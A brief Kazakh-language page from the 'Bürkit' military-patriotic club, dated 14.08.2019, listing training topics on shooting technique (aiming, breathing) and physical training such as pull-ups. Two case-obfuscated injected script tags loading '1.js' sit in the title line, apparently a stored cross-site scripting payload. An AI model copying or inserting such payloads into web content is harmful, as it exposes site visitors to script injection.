«Бүркіт» әскери-патриоттық клубы<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

14.08.2019

Қарудан ату әдістері мен ережелері.

Міндеттері: екпінмен отырудан түсіру орны. Мақсат қою, тыныс алу.

Дене шынықтыру.

Міндеттері: биік штангаға тартып, тұтқадан өту.